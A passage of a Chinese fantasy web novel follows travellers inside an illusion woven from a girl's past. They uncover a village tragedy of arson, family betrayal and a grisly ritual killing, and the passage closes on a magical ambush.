她哆嗦着就要下跪:“老婆子拼命才找到机会,能把你们这些走南闯北的外来客都请到一起。我把自己的钱全给你们,求求你们离开的时候带上小雨吧!”
陆英问:“你为何不亲自送她离开?或者你们举家离开?你一介老弱病残,儿子儿媳和孙子听起来也没什么本事,往后若受何家村恶霸刁难,日子也不好过。”
老妇诧异道:“家乡是一个人的根,不到逼不得已,人怎么能离开自己的根呢?我儿子的根在这里,他不能走!他不走,儿媳和孙子肯定要跟着他。至于我……我是一个规矩人,早在几十年前嫁到这里的时候,就注定要死在这里了。到时候就埋到平安河边,求水神送我安宁。”
这一番话,就连宗族与亲缘观念最强的绿眼青年都无法理解。他站起身,摩拳擦掌,正准备与老妇交流辩论,却见老妇转身就跑,进入屋内翻找。
大抵是觉得自己诚意不够,要去找那些压箱底的嫁妆了。
饭桌重新陷入沉默。陆英放在膝上的手悄然握紧,紧盯着一言不发埋头吃饭的陈雨,神色意味不明。
谢不能倚过来,低声对青琅道:“方才那位老人家说,外来者都在这里了。我观察诸位倾听时的神态,有一个想法。”
青琅看他一眼。
谢不能道:“陆英与李观主明显知道更多内情,只是时局未明,谁都不愿意先行分享。不如由我们来打破这僵局……诈一诈另一个人。”
青琅顶着一张“与我无关”的脸,淡淡道:“出头之人,若遇危险,首当其冲。”
谢不能笑道:“我们不做出一点贡献,到时候被他们几个人排挤怎么办?若是他们联手,不说我们能不能拿到无方石,能不能活着出去都是个问题。”
拒绝接头签后,谢不能变得很奇怪。
青琅道:“恕难奉陪。若你实在忍不住,离我远点再开口。”
谢不能开始绑袖子。
他慢李观主一步——
李观主站起身,沉声道:“奶奶方才所言,信息量巨大,我听得云里雾里。陈雨,你既然是当事人,不如就直接跟大家说说,后面发生了什么事情?我们一起进入幻境,好歹算同伴,要互帮互助啊。”
陈雨塞饭的动作猛地顿住。
众人齐刷刷转头去看。
一行人里,陆英反应最大——她后退一步,凳子在地面划出尖锐刺耳的声响,震惊与痛惜同时浮现在那张饱经风霜而仿佛泰山崩于前不改色的脸上。
只听她怒道:“我们不是说好了,一切都交给我解决?你在贪狼寨吃好喝好,乖乖跟着姐姐们读书就行!为什么不听话,要自己偷偷跟过来?”
5. 无名村(4)
陈雨不是一个听话的人。
她做过很多世俗意义上的错事——小到随口乱编的名字、半真半假的身世,大到一路走来坑骗杀害过的善人或恶人,生人或亲人。
怪她吗?她向前走,或向后退,或停步在原地,都有人不放过她!命运给她一张答卷,让她选择做一个什么样的人,选项却只有:你死,或让别人死。
如今,她又要选。
穿金戴银的死胖子,摆出一张好人脸,眉梢眼角却藏不住精明的算计:“如此说来,这是陈姑娘的幻境?真是令人唏嘘!不知道这群人里,谁跟你有仇?总归不是贫道吧,呵呵。”
粗鄙冲动的绿眼异族,封建迷信多管闲事,还敢跟她谈条件:“陈雨?你想做什么?为什么假扮幻境里的人?我们商队一行只是路过此地,想讨要一个关于无方石的说法,无意牵扯诸多恩怨!你若愿意如实相告幻境凶险,帮助我们的人安全离开,定有重谢!”
陈雨看谁都不顺眼,于是拉着陆英跑了。
片刻后,饭桌边出现了一个新的“小雨”,圆脸圆眼,笑容灿烂。
无论李观主怎么试探,她都只会说:“怎么能让客人干活儿呢?不用帮忙的!吃饭,吃饭,都吃饭吧!”
“怎么办?”李观主焦躁道,“定是那陆英设计好的,要将我们在这层幻境一网打尽!怪不得她对我与佹神的会面百般阻挠……她才是真正想夺走无方石的人!可怜那张家后人错信于她,让她占完道理又占先机了!”
“李观主何必慌张?是知道陈雨的什么秘密吗?若真是萍水相逢无冤无仇……就算她们俩直言要解决一些什么东西,也不必担忧至此吧。”
有人站起身来,“我们商队就不太担心被她们无缘无故地伤害呢。况且,若是光明正大地打斗,她俩不是我们的对手。若她俩想利用幻境杀人——无论如何,这是佹神的地盘。神明最是公平,她遭遇的危险,不会比我们少。”
李观主问:“你是什么人?”
那人长得机灵,年轻自信而朝气蓬勃:“你可以叫我阿月。事已至此,阿曼这个蠢货已经没有锻炼与交流的机会了。现在,由我代表商队,来和你谈谈。”
李观主缓慢落座,自认摆出一副上位者姿态:“你想要谈什么?我确实有带你们安全离开的办法,不过得等我先见到佹神再说。”
阿月瞧着他的神情,眯眼笑起来。
“不对哦。”她抽出软鞭一甩,掷地有声,“我要你一五一十,把你的目的、幻境的秘密、陈雨的故事,全都告诉我。如果我听完以后心情好,会考虑帮帮你。如果我听完以后心情不好……我就去和陆英她们谈。”
“你与陆英、陈雨,目的相悖吧?论陆英,我们商队温和讲礼,只是想要一个说法;论陈雨,我们商队人多势众不好下手。如果在场有一个人,要最先去见阎王,你觉得会是谁?”
李观主的脸色越听越难看,眉头紧皱,强压怒火:“大不了我们各走各的路!你敢威胁我?我就不信了,你们一支躲躲藏藏拿不到通关路引的商队,敢在平州地界对我动手!林姑娘……”
他转头来看,话音戛然而止。
青琅恹恹坐着,闻言,掀起眼皮向他笑了笑,语气很淡,颇有些置身事外的意思:“李观主,你就说了吧。我只是一个出门散步的无辜过路人,谁都惹不起。”
先前有威胁极高的陆英与一惊一乍的绿眼青年做对比,李观主对“林姑娘”没什么多余的关注。如今一看,发觉这人长得很出众,眼珠深黑得仿佛照不进光,定定看过来的时候,会给那张没什么情绪的脸添几分不易察觉的阴郁。
现在不是撕破脸的好时机——李观主闭起眼,权衡利弊。
倒是谢不能莫名凑过来,语气奇妙,低声问道:“你恐吓李观主的时候,开心吗?”
“一般。”青琅道。
谢不能感叹:“我看你几天前打那个酒鬼的时候,也这样笑。”
青琅面无表情地瞥他一眼:“我希望李观主能借此想起我与他之间的仇怨,未曾想他如此迟钝。”
谢不能一惊:“仇怨?你不是为无方石而来?可是……”
“我都告诉你们!”李观主睁开眼。
“你们商队行路匆匆,是想在秋天以前抵达凌云道,参加明家举办的酬天大典吧?我乃明家门客李通海,到玉堂城经营太虚观,不过是大发善心来点化这片凡俗之地。”
他懒得再表演过分热情或心浮气躁的人设,语气沉沉,“自二百年前玄清真人顺利飞升,以明家为首的道盟便有了沟通神仙界的方法。前些日子,明家传来消息,说佹神触犯天规潜逃至下界,藏匿于平州。我奉命前来搜寻,要劝它回去接受审判。”
图雅部族自有信仰,一行人神色皆变。
谢不能低声对青琅道:“修为高深的修行者能冥冥感悟天道意念,已是万里挑一。明家说自己能与神仙交流,李观主说自己替神仙传话,倒是不怕遭天谴,往后再难悟道。”
青琅不置可否。
那头,阿月追问:“说完了?那接着来说说幻境的秘密吧。”
李观主道:“幻境有许多层。每一层生成的法则,是由无方石择定一人,以其认识为基,化生一方天地。那一层幻境的故事,是被选中之人最深刻的执念,可能是至爱、至恨、恐惧、贪婪……我们一般把这个人称之为,那一层幻境的主人。”
“想要破解幻境,有两种办法。”
“其一,就是熬。谨守心神,避免触动幻境杀机,努力保全性命,熬到故事的结尾,就可以自然而然进入新的一层幻境。若新的幻境源于我,那就好办了——我是个好人,不会伤害任何人。若新的幻境源于诸位,看在信息共享的份上,想来谁都不会吝啬。”
“其二,便是在幻境之中,找到佹神所在。幻境是信徒与佹神见面的场所,能见到佹神,对信徒而言,意味着可以表达心愿、祈求垂青,然后千恩万谢地重返现实;于我而言,我会向佹神传达劝诫,看它是吃敬酒还是罚酒。”
阿月把玩着软鞭:“可惜,陈雨不吃你的拉拢,也不吃阿曼的利诱。”
李观主道:“方才就应该将她抓起来逼问!把她和陆英放走,简直是浪费时间!佹神所在之处,与幻境内容关系不浅,若她先我们一步,而愿望是对我们不利……”
阿月冷哼一声:“李观主对她的故事,不是有一定了解吗?抓她以前,不如你先来说说。”
李观主咬牙道:“陈雨的故事,我确实不清楚!只是她提到的辰雁大师,是我一位已然功成名就的好友。我先前都不知道,他那样厉害的人物,竟然曾在这种地方布道。”
气氛沉寂下来。
片刻后,阿月没忍住,眉开眼笑:“大发善心的李观主——你一把年纪,真是不经吓。虽然你还有许多地方未言明,但能说出来这些东西,我已经很满意了。”
李观主怒视她。
阿月笑眯眯:“你说得对,我们图雅部族的商队是遵纪守法的好商队。借道平州北上,无可奈何绕行,我们要夹着尾巴走路,怎么敢亲手做杀人放火的事情?”
“不过,看在信息共享的份上,李观主,无论是熬到结尾还是搜寻佹神,我们都一起走吧。毕竟你是个好人,
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你的幻境不会伤害任何人,但我们商队成员的幻境,可就难说啦。”
青琅与谢不能立场模糊,虽然暂时不知道他们会不会与图雅部族一行合作,但肯定不会站在自己这边。李观主沉思片刻,深吸一口气:“我势单力薄,确实应该多退让些。但要我毫无保障地跟你们上路,未免太过强人所难。”
“你没有选择!更没有资格提要求!”绿眼青年阿曼在旁边叫唤两声。
阿月一鞭子甩在阿曼身前几寸,继续问李观主:“您有什么要求,尽管提就是。”
李观主道:“你们要带我一起走,无非是想从我口中得到更多的信息。这些信息不仅仅关乎幻境,更关乎酬天大典吧?你们得给我一样东西,让我确信你们不会对我不利!别说什么律法规条,我不信。”
阿月转瞬间便做出决定。
她正要去翻口袋,忽然听见青琅提议:“不如把陆德给李观主。”
阿月道:“嗯?”
青琅道:“一个昏迷的活人,直接扔在此处不妥。不如交予李观主携带,正好方便我们与陆英交涉。”
阿月笑道:“你来得迟,没瞧见,陆英与陆德的亲情很是淡薄……不,他们之前可能有仇呀。陆德在手,只怕会激发我们与陆英的矛盾。”
青琅道:“陆德还欠着钱,陆英不会轻易舍弃他。把他交给李观主,正好让李观主想想,如何威逼利诱,如何拉拢离间。我们几人相识时间虽短,我却早已看出,李观主老当益壮,尤擅此道。如此,李观主手握保障,我们省去麻烦,两全其美。”
谢不能依言将陆德踢至李观主脚下,礼貌夸赞道:“二位放在一起,倒比陆英陆德更像一家人呢。”
简直欺人太甚!
李观主心头火起,正欲开口发作——
老妇回来了。
所谓“压箱底的宝贝”,是一条金叶项链、一对素金耳环、几件样式精巧的发饰,还有一只成色不错的镯子。
阿月绕过半圈,挨着青琅坐下,用肩膀轻轻碰碰她的肩膀,压低声音笑道:“这位老人家说自己年轻时一路逃难,后来嫁到无名村,家境困顿得要扔孩子。但我看,这份陪嫁倒是不薄嘛。”
青琅又回到那副对什么都没太大兴致的模样,身形纹丝不动,连眼神都未偏斜半分,只淡淡“嗯”了一声,算是礼貌的回应。
阿月也不在意,托着下巴,目光转向仍在絮絮叨叨的老妇。先前阿曼出头时,她隐在商队众人里毫不起眼,此刻担起主事,举手投足间却自然流露出一股掌控力,让李观主看得心头微沉。
李观主皮笑肉不笑地打断老妇的诉苦:“老人家放心,您所求之事,我们应下了。只是事关重大,个中细节还需您与小雨详细道来,我们从头到尾再敲定一番。”
“就走西北边张家村那条道!”老妇急切地指向门口,手指因用力而微微发颤,“就算不小心被别人瞧见,泄露了行踪,何家村的人也不敢追到那里去拦……”
吱呀——
话音未落,有人进门。
来人宽袍广袖,行走间衣袂飘动,一派仙风道骨。他的长发规整束起,银冠璀璨,筛落的光影正映在他端正的面容上,更衬得气质出尘脱俗。
“辰雁!”李观主低呼。
辰雁目光悲悯,快步上前,稳稳扶住闻声奔来正欲行礼的老妇。
他取出一张折叠整齐的纸条,低声道:“陈宇奶奶,我途经贵宅,见陈宇高烧不退,独自一人在院中痛苦呻吟。我替他打了桶冰水稍作缓解,不敢耽搁,特来寻您。这是对症的药方,您速去抓药,好生看顾陈宇才是。”
6. 无名村(5)
老妇闻言,顿时慌乱,回头望向众人。
辰雁宽慰道:“不必慌张,小雨的事,就交给我来安排吧。”
他音色清朗,语调温和平缓,乍一听去,与初见时装模作样的谢不能有几分相似。青琅几不可察地皱了皱眉,心头泛起一丝异样。
老妇连连道谢,攥紧药方匆匆离去。
辰雁目送她离开,缓步走至桌旁。他与众人——主要是李观主稍作寒暄后,便有条不紊地交代起早已计划好的车马盘缠与具体路线。
青琅心道:当年的小雨也是被一群“外来客”带离无名村的?那些人为何没有出现在幻境里?方才,假扮幻境中人的陈雨消失后,幻境生成的小雨就立刻出现了。是因为我们在这儿,所以那些人没有出现吗?小雨的家人即便出于各种原因无法亲自护送,那辰雁呢?修行者有日行千里之能,他却选择把小雨托付给陌生人……未免也太过放心了。
小雨年纪轻轻,为人足够谨慎,鼓足勇气举手道:“我们能不能等到晚上再走?夜黑风高,没那么引人注目。辰雁大师说……陈宇发着高烧,爹娘竟然没有陪伴在他身旁。我担心……”
未尽之意,在场之人皆心知肚明。
李观主虽对那逃跑的陈雨心怀怨怼,倒也没打算拿一个幻境生成的可怜小姑娘撒气,便顺着话头安抚道:“可以。我们正好借此机会在四周探查一番,看看有无其它隐患。待入夜,再回来接你启程。”
他心中自有盘算:护送小雨离开这条线索明晃晃地摆在这里,陆英和陈雨绝对不会走远,说不定现在就藏在暗处窥伺。早些将周遭环境排查一番,有备无患。
辰雁来得突然,去得匆忙,大概是作为“大师”有许多事务要处理。
阿月若有所思地目送他远去,安排道:“阿曼,你带着阿龙阿虎留守此处看护小雨。其余人各自活动,看看有没有佹神的踪迹。不过,所有人务必在酉时之前返回院子,准备出发事宜。”
李观主有心反驳,又挑剔不出什么,只能阴阳怪气地刺了一句:“阿曼兄弟身手一般,可得多加小心,千万别出什么岔子。”
话音未落,不待阿曼发作,他便脚底抹油,迅速溜出了院子。
阿月嘴角抽动,无视准备向门外呐喊示威的阿曼,转向青琅与谢不能,言简意赅道:“若有变故,我的人会向天空施放紫色烟火作为信号。二位若方便,还请尽快赶来。”
二人又来到熟悉的街道。
这里的一切都源于陈雨多年以前的记忆,粗糙而朦胧。他们白天细看过一遍,并不指望再找到什么新线索。
未曾想,有人主动过来搭话。
是一个四五十岁的女子,布衣褴褛,头发蓬乱,面黄肌瘦。那双灰扑扑的眼睛看着青琅,语气虚弱,尾音发颤:“你们在找什么?是要找世界的尽头吗?”
青琅道:“在散步。”
谢不能回头望向走过的街道——散步?他一路跟着青琅走,记着她对李观主的态度,自然发觉这条大路是李观主离开的方向。
女子高声道:“散步?你们这么年轻,怎么能甘心在这里散步?你们不好奇世界的尽头在哪里吗?不对不对,千万不要试图寻找世界的尽头……散步好!散步好!”
谢不能收起思绪,凑过去,对青琅低声道:“幻境的造物,即便是人,也不会知道自己身处幻境。世界的尽头……是什么意思?”
青琅便问那女子:“世界的尽头是什么?”
女子一脸恨铁不成钢:“你们连这个都不知道?那是一个颇为玄妙的地方!那是天外之天、地外之地、山……”
“对不住!对不住!”有人打断道。
“一时没看好,疯婆子又出来瞎闹!”面容模糊的青年人冲过来,一把拽住女子衣袖,焦躁而羞愧地向二人点头致歉,“这是我娘。她生我妹妹时出了意外,教我妹妹未见人世便去了阴曹地府。那时候起,她就开始疯疯癫癫的,整日胡言乱语。”
女子被人强拽着拖走,仍不停回头大声喊道:“你们若是真不清楚……就去问问南街粥铺的陈天!她知道!她知道!”
往南街走,周遭的景物愈发朦胧。
午后时分,粥铺门庭冷落。陈天正坐在台阶上看书——实在很好认,除她以外,旁人的面孔都是模糊的。
谢不能搭话道:“陈天,你在看什么书?”
陈天闻声抬头,将书翻过来放在膝盖上,展示给他们看:《平州地理志》。
青琅问她:“世界的尽头是什么?”
陈天一时大惊,猛然站起身:“你们要去世界的尽头?很危险的!要跨过大海,走过冰川,穿过迷雾毒瘴……虽然我也很想去看看,但是绝对不能去!”
谢不能插话道:“她只是想考考你。”
陈天低下头,紧张地翻起页来:“就算不害怕路上的危险,总该害怕你爹吧!你去跟你爹说,就说「我要去世界的尽头」,看看你爹会不会揍死你!”
青琅:“……”
一个突然出现的事件,显然不会无关紧要。但如此与人沟通,确实有些挑战青琅的耐心。
陈天敏锐地捕捉到了青琅的无语,犹豫片刻,下定决心道:“如果你真不怕你爹,也不怕路上的危险,我倒是可以告诉你……
青琅:“说。”
陈天道:“平州以南,是同悲海。同悲海再往南,是什么?我大哥说,一直往南走,就能看见高山群岛,上面住着神仙。我二哥说,同悲海是无穷无尽的,海的外面还是海,驾船走得太远,就会迷失方向,再也回不来了。可我觉得,他们说得都不对!”
谢不能道:“二百年前,玄清真人规整九州七道,绘制「明天榜」。同悲海以南,极北之地以北,长泽天以东,西沙道以西,皆为混沌未明之地,非寻常人所能及也。”
这属于修行者的常识,对一个凡
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俗之地的孩子来说,无异于天书。
恰在此时,铺子里传来一声模糊的呵斥。
陈天要去给莫名其妙下午喝粥的客人端茶倒水,只能无奈地收起书籍:“哎呀,我得去忙了!你们去问对街木雕铺子的陈工吧!再跟你们说下去,我爹真要揍我了!”
陈工正在劈木头。
见有人来,她放下斧子,擦了把汗,摆出迎客微笑:“二位看看,要做点什么?送亲戚送好友送爱人送同窗,应有尽有哦!”
青琅道:“我想问……”
“买这个。”谢不能胡乱一指,再拎出一枚金钱放在柜台上,“老板,我还想向您打听个事儿。您知道世界的尽头是什么吗?不一定是具体的答案,也可能是这句话本身代表的意思。”
陈工愣了一下,恍然大悟,无奈道:“是小雨那丫头告诉你们的吧?唉,早知道就不同她说这些闲话了。”
小雨?二人心头一动。
陈工搓搓手,回忆道:“就前几年,我十八岁,跟村里卖杂货的伯伯一起,去了海边玩儿。那时正有船出海,要往南去。我想去看看世界的尽头有什么,海的那边有什么,就偷偷溜上了船,千求万求,求他们带我一个。”
“可惜,海上多风浪,船队里死了几个人。后来船开到了一个小岛上,大家休整争执,说什么都不肯再走了。我们在那里待了几天,就回平州了。”
陈工的目光在青琅和谢不能身上转了转,脑补了他们的想法。
她抬起手,想拍拍青琅的肩膀以示劝诫,反被对方冷淡的目光劝退,一腔语重心长硬生生憋了回去,只干巴巴道:“看你年纪,跟我差不多。说真的,听我一句劝,别想那些虚无缥缈的东西,安安稳稳过个日子比什么都强。”
青琅问:“还有什么?”
“嘿?你会不会和人说话?有没有礼貌?”陈工急道,“果然哈,我的脾气和心态在同龄人中属翘楚!呵,你给我听好了,我还有两件事儿要说。”
“第一件,你可以去平安河旁边的坟场大棚找陈三娘。她家好认,门上挂着两串贝壳。她对租船出海、观测天气之类的事情最是了解,你如果真想走出去看看,就去问问她吧!”
“第二件,本店不接受以物易物!你这金玩意儿,得先去钱庄兑了才能用!装什么装?想拿走我的木雕小狗,现在得给现钱!”
“谢谢。”青琅摸出几枚银钱,“我还想问……”
还想问问你与小雨的关系……
陈工麻利地接过,扔回几枚叮当作响的铜钱,挥手打断,催促道:“行了,快走吧,别耽误我干活儿!有什么问题,都去问陈三娘!”
青琅把金钱铜钱和木雕小狗递给谢不能。
“陈三娘……”她重复道。
谢不能收得惴惴不安:“怎么说?”
只听青琅道:“好麻烦。早知道这么复杂,我就在外面把李观主杀掉了。”
7. 无名村(6)
你与李观主有什么仇怨?
去往陈三娘家的路上,谢不能欲言又止。
他自己尚有一腔见不得人的秘密,自然不好意思对着别人刨根问底。况且,观看无方石一事虽是他醉翁之意不在酒,但他对于无方石,还真有一些旁人不知道的消息。他藏着掖着,要等一个合适的时机,拿出来做交易的筹码。
是以,一路无话。
陈三娘的屋子就在坟场大棚边。二人抵达时,她正躺在长凳上,对着家门前流淌不息的平安河摇蒲扇。一双儿女围在她身旁,一人负责捶肩,一人负责捏腿,看起来很是其乐融融。
见有客来,两个孩子自觉走远。
陈三娘坐起,没好气道:“棋州的船队下个月到,西沙道那帮人不一定什么时候来。说吧,你们要我帮忙买什么?违禁品不带哈。”
谢不能道:“是南街的陈工介绍我们来的。我们有一些……”
“得得得!”陈三娘蒲扇一挥,不耐烦地打断道,“客套的话就免了,直接掏钱就行。我们家做丧葬服务,你们这些人平日里嫌晦气,一个个避之不及的,轮到求我帮忙买东西的时候,又来套近乎了。告诉你们,村子里一堆陈工陈匠的,谁都跟我不熟,谁的面子都没用!我一个人拉扯两个孩子容易吗?想用人情找我办事,好意思啊?”
她连珠炮似的抱怨着,显然怨念深重。青琅面无表情地听她骂完,取出几串银钱,递到她面前:“关于世界的尽头,你知道什么?”
陈三娘白眼未翻过半,动作一顿。
一时间,她似乎不知道该摆出什么表情,只下意识伸手接过那几串钱,茫茫然然地点完数,仔细塞进衣袋里。
缓了好一会儿,直到那点微薄的重量压住心底骤然翻腾的情绪,陈三娘方才叹道:“那都是多少年前的事情了,怎么还提?”
她磨磨蹭蹭地走过来,抬手要搭青琅肩膀,试图揽着青琅去看。被青琅躲开,她也不恼,自己把手揣回衣袋里,捏着那坨钱:
“瞧见那堆柴没?天不亮就得爬起来劈它。劈完了,生起火,还得赶在烧干净之前,拣出来点儿碎木头削个小玩意儿,哄孩子们闭嘴,别耽误我做饭。然后就得去采买……市集离得远,行货商也不愿意跑到这种埋死人的地方来。买完东西,就得去照料我的田,再看看有没有新活儿。要是有,就得利索着准备,当夜就钉棺下葬。”
那是一种细微钻进骨头缝里的疲惫,被日复一日的岁月磋磨着,教人习以为常。陈三娘身上带着木柴、泥土与油烟的味道,掩在皂荚的淡香下,混成一种奇妙的陈旧气息。
青琅想起一个人。她知道,她该用湿润的眼睛看着陈三娘,说“我理解你的不容易”。可惜她没有那样感同身受的情绪,便做不出那样的表情,只能默默地听,像听她骂人一样,听她絮絮叨叨诉苦。
“我很忙。”最后,陈三娘总结道,“我每年离村几次,去海边做些买卖,也只是想多赚点钱,给我的孩子买几件新衣裳。年轻时候不知道天高地厚,做了许多可笑的事情,你要是想,就去和村里人笑话笑话,莫要再向我提了。”
青琅不再多说,转而问:“我还想向你打听一个人。”
陈三娘道:“我并非胡说八道。我和村里人都不太来往,顶多有些市集砍价的交情。”
青琅问:“陈雨,或者是小雨,她的事情,你知道多少?”
「我叫陈雨,这是我家。姐姐,昨晚我去坟场大棚看朋友,发现你昏迷在平安河边,应该是顺着水流飘下来的,就把你带回来了。」刚进幻境时,小雨这样说。
“小雨?”陈三娘有些惊讶,“这么多年了,没想到还会有人提起她。”
事情太久远,陈三娘提起往事,语气已然淡淡:“当年,她爹娘口口声声说要送她去永和城上学,其实是背地里跟何家那恶霸谈妥了,要把她卖过去做妾!就是怕被村里人戳脊梁骨,怕她奶奶受不了,才打算偷偷摸摸地干。幸好,小雨发现了真相。她跑来找我,说与其被爹娘这样卖了,不如先下手为强,拿走家里所有的钱,远走高飞。”
“小雨要给自己挣条活路,人之常情。我虽然帮不上什么忙,但保守秘密还是做得到的。只是后来出了些意外……”
“傍晚时分,他们家起了大火,村民扑救一番,抬出两具焦尸。”
“我那时接了活儿,只能留在铺子里做,魂不守舍的,生怕小雨也在里头。结果天擦黑时,她忽然跑回来找我,浑身脏兮兮,发抖得厉害。她说……火是她放的,但她只是想撒撒气,烧点东西,没想烧死谁。她知道陈宇在发高烧,爹娘和奶奶平日里最疼那小子,肯定都在医馆守着,家里不会人……她没想到,那天爹娘竟然在家。
远处传来孩童惊叫,似是玩闹伤了腿脚。陈三娘面露歉意,连喊“稍等片刻”,匆匆跑了过去。
谢不能站到青琅身侧,望着陈三娘的背影,低声道:“我觉得有些奇怪。几串银钱,足以让她对着陌生人将往事和盘托出?众人齐聚小院,陈宇高烧引走奶奶,辰雁现身对计划进行完善,世界尽头的线索主动找上我们……一环扣一环,总觉得是有什么东西在牵着我们走。”
不多时,陈三娘回来了。
她疲态更甚,嗓音沙哑:“我看她那样子,想着她也是被爹娘逼的。不是说善有善报恶有恶报么?那对爹娘如此对待亲生孩子,落得这下场也是罪有应得!我就让她赶紧走了,千万别被人发现。”
“当夜,陈宇高烧不治,死了。他奶奶受不了这个打击,投井自尽,跟着去了。后来,何家村换了人管事,那个想买小雨的恶霸争权不成,反被搜出许多伤天害理的证据。其实,他干的那些腌臜事,附近几个村子谁不知道?
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以前不过是因为他有权有势,大家伙儿不敢吭声。”
“我想着,小雨虽然走了,但是她的名声不能坏!她是个好孩子,是被逼的!村子里闲言碎语多,免不了发散。要是把她传成弑亲逃跑的不孝子怎么办?几十年后,她死了,水神还怎么引她去好地方投胎?我就趁此机会,找了村长,把他家的案子定了。就说……这是老天开眼,看不过那对狠心爹娘卖女求荣,降天火烧了他们!”
话音刚落,天空炸开紫色的烟火。
陈三娘疑惑地抬头,想不明白:这不年不节的日子,怎会有人放烟花?
“陈三娘。”离开以前,青琅问她,“你叫什么名字?”
只听她喃喃道:“我爹是南街粥铺陈旺发,大哥是扬名讲堂的教书先生陈健,二哥是市集卖木材的陈康,我夫君是坟场大棚的送葬人陈德福。我是……噢,我叫作陈天,以前是个木匠,现在在做丧葬服务。”
……
“我就找个茅厕的功夫,谁知道陆德能突然醒了,还把小雨带走了?”
阿曼满脸烦躁,“那神棍说的话,可能还真有点道理。陆德是不是陆英故意留在我们身边的?不对,是不是神棍操控了陆德?!”
“多说无益。分头去找,一有消息,立刻互通。”阿月果断下令,“这院子我留守。其余地方……小雨家起火的宅子,陈宇所在的医馆,坟场大棚的陈三娘家,辰雁备好的车马点,都要有人看着。再剩下的人,巡街传信,随时待命。”
图雅部族的人迅速四散。
阿月走到青琅面前,正色道:“纵有陷阱,眼下也只能走一步看一步。姑娘与我们不同,并非误入,想来自有保命手段,还请多加小心。若遇难处,尽管说。我已吩咐下去,大家会尽量施以援手。”
青琅谢过。
据陈天所说,起火之时将至,时间紧迫。谢不能问:“我们去哪?若推测正确,是幻境或有心之人在刻意引导我们……无论我们去哪,危险都会尾随而至。”
“去医馆。”青琅道。
坟场大棚和车马点是离开的必经之处,可待宅子起火后跟随小雨的步伐进行探查。这间院子有阿月留守,让人放心。医馆信息最少,又有陈宇高烧致死、奶奶跳井之事,最值得一探究竟。
至于那个起火死人的宅子……无论小雨是失手还是有意,一切都已是必然的结局。
霞光万丈,红艳如血。
医馆病房陈设简陋,墙角屋檐都结着蛛网。房间正中央摆着一张破破烂烂的床,旁边有一把缺腿的凳子和一个水盆。
小雨跪于床头,泪眼朦胧,难以置信:“奶奶,是您本人急托范郎中给我带话的?我还以为是爹娘使诈!怎么会这样?过度劳累、旧疾复发……您虚弱至此,让我怎么安心离开?”
外头,范郎中锁好门,叹了口气。
8. 无名村(7)
黄昏光影,笼罩着病床前的祖孙二人。
泪水顺着皱纹流淌,湿透老妇衣襟。
“是报应……”她喃喃着,“我年轻时四处流浪,生活困苦。难得有人施以援手,我却见钱眼开,害人夺宝。我只做过那一件亏心事,以为后半生努力行善便可以弥补,可是现在才发现,老天从来都没有原谅我。”
“为了活下来,只能害人,难道是我们的错吗?难道一定要为了所谓的道德仁义,放弃自己的性命与生活吗?”小雨的声音陡然拔高,“老天待我们不好,一切都要我们自己拼命去争去抢,到头来,却怪我们?”
老妇叹道:“傻孩子,千万别这么想。我当年就是这么想的,以致于做错了事,往后没一刻心安。那些东西我不敢用,更不敢留给你,怕这份孽债缠上你……”
小雨目光一动。她有些慌张地偏开视线,看见污渍斑驳、裂痕遍布的墙。那是一片灰败的颜色,看得人心里发沉。
老妇仰起头,目光飘向窗外:“你快走吧。我还攒了点儿钱,平时随身带着,方才诊病时怕被范郎中拿走,就藏到了床底最里头的砖缝里。你拿出来,带着走……”
“我不要您的钱!”小雨猛地回头,瘦弱的肩背颤抖着,“我有拿到钱!我们一起去治病好不好?奶奶,和我一起走吧,我们去永和城也好,去哪里都好……一定能治好您!”
老妇问:“你不觉得我是累赘吗?”
小雨道:“没有奶奶,我都活不到现在。为了奶奶,我做什么都可以!”
老妇沉默片刻。二人四目相对,皆泪水涟涟。
许久,老妇似乎下定决心:“你去把床底的钱拿出来,我们一起走。”
小雨连声应是。她弯腰探身,努力去够深处的包裹——
一把斧子当头劈落!
许久未用,这把斧子已经生了锈,铁刃微微卷曲,很钝。若是用指尖轻轻抚过,只要控制好力道,恐怕连皮肤都无法划破。
使用这把斧子的人知道这件事。所以,她拼尽了全身力气,毫不犹豫地利落斩下,带着孤注一掷的狠绝,只砍了三刀,便将对方的头颅与身躯分开来。
血花飞溅。
老妇看着地上的人,一下子脱了力。斧子砸在地板上,发出“哐”一声巨响!她慌慌张张地瞪圆眼睛,哆哆嗦嗦地爬下床,抖着手去摸小雨颈侧,又去探鼻息——
确实已死了。
“嗬……”老妇急促呼吸着,脸颊因过度激动而涨得紫红,那双充血的眼睛死死盯着门口,脸上泪痕犹在,尖叫道,“范郎中!范郎中!快来!”
范郎中抱着一个人走了进来。
那人穿着长袖长裤,身体僵硬,肤色是极不自然的青紫,眼窝深深凹陷下去,皮肤紧贴在骨头上,微微发皱。
——是陈宇的尸身。
范郎中看着满地狼藉,眉头微皱,眼底掠过一丝不易察觉的嫌恶,嘴上却催促道:“快!还愣着做什么?辰雁大师说了,亲人血肉医弱病,少女血肉延寿元,两者相合,逆转阴阳!时辰不等人,你还要耽误到什么时候?”
老妇被这句话点醒,眼中爆发出骇人亮光。她连滚带爬地跑过去,尖锐的指甲陷入小雨尚且温热的手臂,喃喃道:“不要怪我……小雨,人总是要做选择的。等阿宇醒了,奶奶就去找你,陪你一起走……”
鲜血再次喷溅,染红老妇瞳仁。
老妇浑然不觉,转过身,用沾满血污的手使劲掰开陈宇僵硬的嘴巴,试图将那团血淋淋的肉块塞进他喉咙里。粘稠的血液顺着青灰的下巴滴落,在破旧床单上洇出一片令人作呕的污迹。
饶是范郎中见惯生死,也觉胃里一阵翻江倒海。他再也待不下去,飞快地弯腰,精准地从老妇方才所说的床底砖缝处取出“报酬”,揣进怀里,转身往外走,嘟囔道:“听那些走私贩子说,修行界光鲜亮丽,不似我们庸俗愚昧。呵,原来所谓术法,就是这般邪里邪气的……做一个凡人,倒也不是全然坏事。”
叮——
青琅拉住谢不能手臂,将他向后一拽。
一支毒镖从二人身前掠过,钉入不远处的房梁,入木三分,尾羽不停颤动。
“看了这么久,怎么连滴眼泪都不掉?”陈雨落在房顶,踩碎砖瓦,轻轻问道,“不觉得我很可怜么?”
随着她的到来,无数道刺目的火焰自四面八方升腾而起,拖着滚滚浓烟蜿蜒盘旋。猩红的光芒将天地染成一片赤色,大地剧烈震颤起来,暗红的纹路像蛇群一样涌现,而后迅速蔓延,交织成一个庞大繁复的巨型杀阵。
灵力流转间,狂风骤起,威压溢散!
